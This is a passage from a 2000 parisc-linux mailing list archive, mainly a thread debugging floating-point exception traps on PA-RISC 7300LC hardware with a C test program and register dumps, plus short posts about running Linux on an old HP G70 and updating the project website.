<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D354535801-29092000>Hi,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D354535801-29092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D354535801-29092000>I have =
a fairly old=20
HP G70 machine sitting in the store room... I wish to try linux on it, =
but don't=20
know how to get&nbsp;started, can you show me where to get some =
documentations=20
on how to get the sources, perhaps which distribution to=20
try?</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D354535801-29092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN class=3D354535801-29092000>I hope =
I can get=20
Apache on it, and start a&nbsp;web server&nbsp;for my=20
department.</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D354535801-29092000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D354535801-29092000>Thanks,</SPAN></FONT></DIV>
<DIV><FONT face=3DArial size=3D2><SPAN=20
class=3D354535801-29092000>Jason</SPAN></FONT></DIV></BODY></HTML>

------=_NextPart_000_0000_01C029FE.C0FECD10--


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: 29 Sep 2000 14:28:40 -0400
Organization: Linuxcare, Inc.
Lines: 24
Approved: news@gmane.org
Message-ID: <87hf6znjc7.fsf@ottawa.linuxcare.com>
References: <20000927195500.57241381CD@carmen.fc.hp.com>
	<873dilo9dp.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
	<87snqk1q2o.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619151 4142 80.91.229.3 (22 Nov 2014 01:19:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:11 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep 29 12:27:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA09958
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Sep 2000 12:27:43 -0600
Original-Received: (qmail 31878 invoked by uid 15267); 29 Sep 2000 18:28:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31856 invoked from network); 29 Sep 2000 18:28:28 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Sep 2000 18:28:28 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13f4tl-00018U-00
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Sep 2000 14:28:41 -0400
In-Reply-To: David Huggins-Daines's message of "28 Sep 2000 11:41:51 -0400"
Original-Lines: 23
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8022

David Huggins-Daines <dhd@linuxcare.com> writes:

> So it looks like we are either not managing to set up %fr0 properly on
> process startup or we are mangling it in the kernel or libc somewhere
> along the way.  I'll investigate further today.

GAR!  So the problem is obvious.  Not only is GCC emitting the wrong
comparison condition (<> vs. !=), but log(-8.0) is returning a
signalling NaN on GNU/Linux, and a quiet one on HP/UX:

avalanche:~# ./fptest3
foo.l is 7fffffffffffffff
!!die_if_kernel: fptest3(154): Floating point exception 14
(etc...)

bash-2.03$ ./fptest3
foo.l = 7ff4000000000000

Time for the self-LART again I guess :)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: A Joseph Koshy <koshy@postbox.india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] archives anywhere?
Date: Wed, 31 Mar 1999 12:22:32 +0530 (IST)
Lines: 9
Approved: news@gmane.org
Message-ID: <199903310652.MAA07836@postbox.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619152 4144 80.91.229.3 (22 Nov 2014 01:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:12 +0000 (UTC)
To: hppa-linux@puffingroup.com
Original-X-From: koshy@postbox.india.hp.com  Wed Mar 31 01:50:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA31253
	for <parisc-linux@sod.res.cmu.edu>; Wed, 31 Mar 1999 01:50:05 -0500
Original-Received: (qmail 19456 invoked by uid 15267); 31 Mar 1999 06:48:39 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 19449 invoked from network); 31 Mar 1999 06:48:38 -0000
Original-Received: from burrow.puffingroup.com (root@209.151.0.76)
  by mailserv2.iuinc.com with SMTP; 31 Mar 1999 06:48:38 -0000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by burrow.puffingroup.com (8.8.7/8.8.7) with ESMTP id DAA03054
	for <hppa-linux@puffingroup.com>; Wed, 31 Mar 1999 03:03:12 -0500
Original-Received: from postbox.india.hp.com (postbox.india.hp.com [15.10.45.1])
	by cosrel1.hp.com (8.9.3/8.8.5tis) with ESMTP id BAA06809
	for <hppa-linux@puffingroup.com>; Wed, 31 Mar 1999 01:50:03 -0500 (EST)
Original-Received: (from koshy@localhost) by postbox.india.hp.com (8.7.1/8.7.1) id MAA07836 for hppa-linux@puffingroup.com; Wed, 31 Mar 1999 12:22:32 +0530 (IST)
Xref: news.gmane.org gmane.linux.ports.parisc:8023

Hi,

Are the archives of the hppa-linux (parisc-linux) mailing list to be 
found on the web somewhere?  A pointer would be appreciated.

Thanks,
Koshy
<koshy@india.hp.com>


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: Fri, 29 Sep 2000 14:56:39 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200009291856.OAA09635@hiauly1.hia.nrc.ca>
References: <87hf6znjc7.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619152 4147 80.91.229.3 (22 Nov 2014 01:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:12 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dhd@linuxcare.com (David Huggins-Daines)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Sep 29 12:55:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA10528
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Sep 2000 12:55:53 -0600
Original-Received: (qmail 2207 invoked by uid 15267); 29 Sep 2000 18:56:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2199 invoked from network); 29 Sep 2000 18:56:43 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 29 Sep 2000 18:56:43 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA09635;
	Fri, 29 Sep 2000 14:56:39 -0400 (EDT)
In-Reply-To: <87hf6znjc7.fsf@ottawa.linuxcare.com> from "David Huggins-Daines" at Sep 29, 2000 02:28:40 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8024

> David Huggins-Daines <dhd@linuxcare.com> writes:
> 
> > So it looks like we are either not managing to set up %fr0 properly on
> > process startup or we are mangling it in the kernel or libc somewhere
> > along the way.  I'll investigate further today.
> 
> GAR!  So the problem is obvious.  Not only is GCC emitting the wrong
> comparison condition (<> vs. !=), but log(-8.0) is returning a
> signalling NaN on GNU/Linux, and a quiet one on HP/UX:

The difference between <> and != is an `*' in the unordered column
(<> has the *).  The * is supposed to indicate that the instruction
causes an invalid operation exception if its operands are unordered.
This occurs when at least one operand is a NaN.  However, if at least
one operand is a signaling NaN, a compare instruction always causes
an invalid operation exception.  Thus, the <> form should cause
an exception for any NaN.  Isn't this what you want?

The hpux man page doesn't specify the type of NaN returned by log().
There are several versions of log under: milli.a, pa1.1/libm, libm.
This may affect the return.  The milli.a log function is probably
faster but may not meet all the standards.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: 29 Sep 2000 15:07:29 -0400
Organization: Linuxcare, Inc.
Lines: 150
Approved: news@gmane.org
Message-ID: <87bsx7nhji.fsf@ottawa.linuxcare.com>
References: <20000927195500.57241381CD@carmen.fc.hp.com>
	<873dilo9dp.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
	<87snqk1q2o.fsf@linuxcare.com> <87hf6znjc7.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619152 4151 80.91.229.3 (22 Nov 2014 01:19:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:12 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep 29 13:06:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA11036
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Sep 2000 13:06:28 -0600
Original-Received: (qmail 15870 invoked by uid 15267); 29 Sep 2000 19:07:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15862 invoked from network); 29 Sep 2000 19:07:18 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Sep 2000 19:07:18 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13f5VJ-00018b-00
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Sep 2000 15:07:29 -0400
In-Reply-To: David Huggins-Daines's message of "29 Sep 2000 14:28:40 -0400"
Original-Lines: 149
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8025

David Huggins-Daines <dhd@linuxcare.com> writes:

> GAR!  So the problem is obvious.  Not only is GCC emitting the wrong
> comparison condition (<> vs. !=), but log(-8.0) is returning a
> signalling NaN on GNU/Linux, and a quiet one on HP/UX:

And yet, not so obvious.

According to the glibc documentation and comments, the GNU libm's
behaviour is correct and the HP/UX behaviour is not.

However, that's okay, because according to the glibc documentation,
the defined IEEE exceptions (the VZOUI bits in the status register)
should *not* cause SIGFPE by default, but should simply set the
appropriate flag bits in the status register.  This is consistent with
the behaviour of IEEE compliant floating point on all other GNU/Linux
platforms.

And, guess what, the register dump from the floating point exception
trap handler on Linux *clearly* shows that invalid traps are *not*
enabled in the status word (!!).

This program:

#include <signal.h>
#include <math.h>

double
div_by(x,y)
   double x ;
   double y ;
{
   return x/y ;
}

double overflow(x)
   double x ;
{
   double y ;

   do
   {
      y = x ;
      x *= x ;
   } while( y != x ) ;
   return x ;
}

int main()
{
	union {
		double d;
		unsigned long long l;
	} foo;

	div_by(30.0, 0.0);
	overflow(1000.0);

	foo.d = log(-8.0);
	printf("foo.l is %016llx\n", foo.l);
	sleep(1);
	if (foo.d == foo.d)
		return 1;

	return 0;
}

Generates the following output on my A180 (with my patch to traps.c to
show floating point status and exceptions):

avalanche:~# ./fptest3
foo.l is 7fffffffffffffff
!!die_if_kernel: fptest3(154): Floating point exception 14

PSW  : 0004ff0a  GR 1 : fffff000  GR 2 : 000015db  GR 3 : 20020100  
GR 4 : 40160600  GR 5 : 0000279e  GR 6 : 000027b6  GR 7 : 00000001  
GR 8 : 00002786  GR 9 : 000a5810  GR10 : 000afcd0  GR11 : 000afe50  
GR12 : 00000000  GR13 : ffffffff  GR14 : 000afdd0  GR15 : 00000000  
GR16 : 000914d0  GR17 : 00000001  GR18 : 20020128  GR19 : 40160600  
GR20 : 000000a2  GR21 : 00000000  GR22 : 00000001  GR23 : 00000008  
GR24 : 00000000  GR25 : 20020188  GR26 : 20020188  GR27 : 00002758  
GR28 : 00000000  GR29 : 00000300  GR30 : 20020180  GR31 : 4006d4df  
SR0  : 00000000  SR1  : 00002002  SR2  : 00000000  SR3  : 00002002  
SR4  : 00002002  SR5  : 00002002  SR6  : 00002002  SR7  : 00002002  

IASQ : 00002002 00002002 IAOQ : 000015e7 000015eb ORIG_R28 : 00000000
 IIR : 30002420 ISR : 00002002 IOR : 20020108

Floating point status/exception:

FR0: ec30004000000000
FR1: 26f60c1900000000
FR2: 0000000000000000
FR3: 0000000000000000
Floating point exception

The value of FR0L above can be read as:

  flag                                                 enable

V Z O U I C . . . . . . . . . . . . . . .  RM . . T D V Z O U I

1 1 1 0 1 1 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0

|  E   |   C   |   3   |   0   |   0   |  0    |   4   |   0  |

As you can see, the I enable bit is zero (so we should NOT have
trapped here according to the architecture manual), the T bit is on
(because obviously we *have* trapped), and the V, Z, O, and I flags
are also on (because we had previously triggered overflow,
div-by-zero, and invalid exceptions).

I have no idea why the exception shows up in FR1L instead of in FR0R
(pipeline mysteries I guess), but anyway that value can be read as:

|  2   |   6   |   F   |   6   |   0   |  C    |   1   |   9  |

0 0 1 0 0 1 1 0 1 1 1 1 0 1 1 0 0 0 0 0 1 1 0 0 0 0 0 1 1 0 0 1

  exc      |              non-opcode bits of instruction

This corresponds to the following instruction:

    15e0:       32 f6 0c 19     fcmp,dbl,<> fr23,fr22,

As you can see GCC has generated a trap-on-unordered comparison
condition (<>) here.  The HP compiler generates the != condition
instead.  However if I hex-edit the binary to change the condition:

    15e0:       32 f6 0c 1a     fcmp,dbl,!= fr23,fr22,

Then I still get a trap!

Well, on reflection, I notice that the high 6 bits indicate an
Unimplemented exception with opcode 0xC.  Yes, "Unimplemented", not
"Invalid".  WTF!

So, are unordered comparisons just not handled by the 7300LC?  Which
processors are they handled correctly on, if any?  Is there any HP
documentation on this?  Are there any HP/UX architects in the house? :)

It looks like we are going to need some floating-point completion
support in the kernel, which evidently is going to involve walking the
trap shadow and other fun things I thought you only had to do on DEC
machines ;)

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: 29 Sep 2000 15:41:58 -0400
Organization: Linuxcare, Inc.
Lines: 55
Approved: news@gmane.org
Message-ID: <8766nfnfy1.fsf@ottawa.linuxcare.com>
References: <20000927195500.57241381CD@carmen.fc.hp.com>
	<873dilo9dp.fsf@tarwebok.i-did-not-set--mail-host-address--so-shoot-me>
	<87snqk1q2o.fsf@linuxcare.com> <87hf6znjc7.fsf@ottawa.linuxcare.com>
	<87bsx7nhji.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619153 4156 80.91.229.3 (22 Nov 2014 01:19:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: dhd@linuxcare.com  Fri Sep 29 13:40:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA11661
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Sep 2000 13:40:59 -0600
Original-Received: (qmail 26101 invoked by uid 15267); 29 Sep 2000 19:41:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26081 invoked from network); 29 Sep 2000 19:41:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO tarwebok) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 29 Sep 2000 19:41:46 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.12 #1 (Debian))
	id 13f62g-00019B-00
	for <parisc-linux@thepuffingroup.com>; Fri, 29 Sep 2000 15:41:58 -0400
In-Reply-To: David Huggins-Daines's message of "29 Sep 2000 15:07:29 -0400"
Original-Lines: 54
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id NAA11661
Xref: news.gmane.org gmane.linux.ports.parisc:8026

Ah, well, on further study, the documentation
(http://puffin.external.hp.com/docs/pcxl2_ers.pdf) explains all, for
the 7300LC at least.

However, if we intend to support PA2.0, then we will need to have some
kind of documentation on what parts of the FPU architecture the
various PA2.0 chips implement.

> So, are unordered comparisons just not handled by the 7300LC?  Which

According to the docs:

    4.3 Unimplemented Exception/Trap

    The only kind of exception generated by the PA7300LC floating point is
    the unimplemented exception.  It is always signaled with a delayed
    floatingpoint exception trap.  The unimplemented trap is raised
    instead of the overflow, un- derflow, division by zero, invalid and
    inexact traps.

Well, that's just great :P

> I have no idea why the exception shows up in FR1L instead of in FR0R

According to the docs:

    4.3.6 Exception Registers

    The excepting flop will be in exception register 2.  PARISC 1.1
    exception codes are used.  Exception registers 1, 3, 4, 5, 6, and 7
    may be loaded or stored, but hardware will never place an excepting
    flop in them.

    Exception register 2 is guaranteed to retain its contents as long as
    the T bit remains set and continuing thereafter until a flop is
    executed, or until it is explicitly cleared by software with a load.

Okay, that makes life easier, at least.  I'm really fearful of what
the 8500/8600 will do though.  You'd think that since they execute out
of order they'd be able to provide some sort of precise trapping..

> It looks like we are going to need some floating-point completion
> support in the kernel, which evidently is going to involve walking the
> trap shadow and other fun things I thought you only had to do on DEC
> machines ;)

Well, I guess not on 7300LC at least, given that only FR1L (except2)
is used.  So that's a relief.  I'll see if I can write a rudimentary
completion handler today that should at least enable us to build awk
and so forth.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Running Linux on HP G70 Machine
Date: Sat, 30 Sep 2000 03:36:25 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20000930033625.A28246@parcelfarce.linux.theplanet.co.uk>
References: <NDBBJIKEJKHDOLOGOONGGEDKCAAA.jasonw@tntexpress.com.hk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619153 4158 80.91.229.3 (22 Nov 2014 01:19:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:13 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jason Wong <jasonw@tntexpress.com.hk>
Original-X-From: willy@www.linux.org.uk  Fri Sep 29 20:35:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA14256
	for <parisc-linux@puffin.external.hp.com>; Fri, 29 Sep 2000 20:35:54 -0600
Original-Received: (qmail 16663 invoked by uid 15267); 30 Sep 2000 02:36:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16648 invoked from network); 30 Sep 2000 02:36:45 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Sep 2000 02:36:45 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13fCVl-0007Qo-00; Sat, 30 Sep 2000 03:36:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <NDBBJIKEJKHDOLOGOONGGEDKCAAA.jasonw@tntexpress.com.hk>; from jasonw@tntexpress.com.hk on Fri, Sep 29, 2000 at 10:19:30AM +0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8027

On Fri, Sep 29, 2000 at 10:19:30AM +0800, Jason Wong wrote:
> I have a fairly old HP G70 machine sitting in the store room... I wish to
> try linux on it, but don't know how to get started, can you show me where to
> get some documentations on how to get the sources, perhaps which
> distribution to try?

FAQ:

The earliest PA-RISC servers have proprietary HP devices attached to
proprietary HP bus architectures. It is unlikely that documentation
on these busses and devices will ever become available, since so few
people are interested in spending any effort finding and releasing the
docs. Machines in this category are the E, F, G, H, I class (aka Nova)
and T500 series (Emerald) machines as well as some earlier, unlettered
servers.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I am not your mother!
Date: Sat, 30 Sep 2000 20:02:18 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20000930200218.A25304@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619153 4163 80.91.229.3 (22 Nov 2014 01:19:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:13 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Sat Sep 30 13:01:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA29196
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Sep 2000 13:01:47 -0600
Original-Received: (qmail 25581 invoked by uid 15267); 30 Sep 2000 19:02:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25570 invoked from network); 30 Sep 2000 19:02:24 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (root@195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 30 Sep 2000 19:02:24 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 13fRtq-0007DC-00
	for parisc-linux@thepuffingroup.com; Sat, 30 Sep 2000 20:02:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8028


I'd really appreciate it if people would update the website when they
make changes to how something works that will be user visible.  It's not
hard; just cvs co website, make your corrections, and cvs ci.

My thanks to the people who _do_ do this already, including grant,
dhd and paul (keeping the status page up to date is rather important!).

Is there anything which can be done to make updating the website easier?
I've done my best to make it logical and easy; including getting rid
of the unusual build tool we were using and reducing the dependencies
involved in getting the page datestamp correct.  There's nothing _hard_
to do, if you know enough to write code and check it in, you can handle
the website.  So what's stopping you?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] floating point exception error
Date: Sat, 30 Sep 2000 20:33:10 -2800 (EDT)
Lines: 49
Approved: news@gmane.org
Message-ID: <200010010033.UAA29413@hiauly1.hia.nrc.ca>
References: <87bsx7nhji.fsf@ottawa.linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619154 4167 80.91.229.3 (22 Nov 2014 01:19:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:14 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: dhd@linuxcare.com (David Huggins-Daines)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Sep 30 18:32:41 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA30800
	for <parisc-linux@puffin.external.hp.com>; Sat, 30 Sep 2000 18:32:41 -0600
Original-Received: (qmail 334 invoked by uid 15267); 1 Oct 2000 00:33:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 322 invoked from network); 1 Oct 2000 00:33:24 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 1 Oct 2000 00:33:24 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id UAA29413;
	Sat, 30 Sep 2000 20:33:11 -0400 (EDT)
In-Reply-To: <87bsx7nhji.fsf@ottawa.linuxcare.com> from "David Huggins-Daines" at Sep 29, 2000 03:07:29 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8029

> This corresponds to the following instruction:
> 
>     15e0:       32 f6 0c 19     fcmp,dbl,<> fr23,fr22,
> 
> As you can see GCC has generated a trap-on-unordered comparison
> condition (<>) here.  The HP compiler generates the != condition
> instead.  However if I hex-edit the binary to change the condition:
> 
>     15e0:       32 f6 0c 1a     fcmp,dbl,!= fr23,fr22,

Under hpux 10.20, I find that both GCC and the HP compiler generate
the != predicate.  If you look at the `Y' predicates generated in pa.c
for floating point compares, I can't see how <> could be generated.
If it actually is generating <> for fcmp's under linux, this should
be looked at.

Compared to the i386 implementation, GCC provides only a basic floating
point compare implementation.  The CCFP and CCFPU modes are supposed to
be compare with and without exceptions, respectively.  However, it
doesn't appear that the form with exceptions is generated by GCC on the
PA even though the mode is specified as CCFP. Not sure how these two
modes are selected.

> Then I still get a trap!

The print out above indicates that log has returned a signaling NaN.
This should cause an exception in the fcmp instruction if the invalid
operation exception is enabled.  Under hpux on a 735, log returns a
quiet NaN (7ff4000000000000).

> Well, on reflection, I notice that the high 6 bits indicate an
> Unimplemented exception with opcode 0xC.  Yes, "Unimplemented", not
> "Invalid".  WTF!

The exception code seems to be 001001 (overflow & unimplemented?).  The
manual that I have doesn't specify what this code means.  I did see
a comment in the hpux floating point guide that when an invalid operation
occurs when invalid operation traps are disabled, then the system
substitutes a quiet NaN as the result of the operation.  Maybe HP is
using the unimplemented exception to do this.  This happens when an
implementation chooses not to execute an instruction.  Thus, I agree
with you that some sort of floating point completion code is going
to be needed in the kernel.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:13:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I am not your mother!
Date: 02 Oct 2000 10:17:11 -0400
Organization: Linuxcare, Inc.
Lines: 16
Approved: news@gmane.org
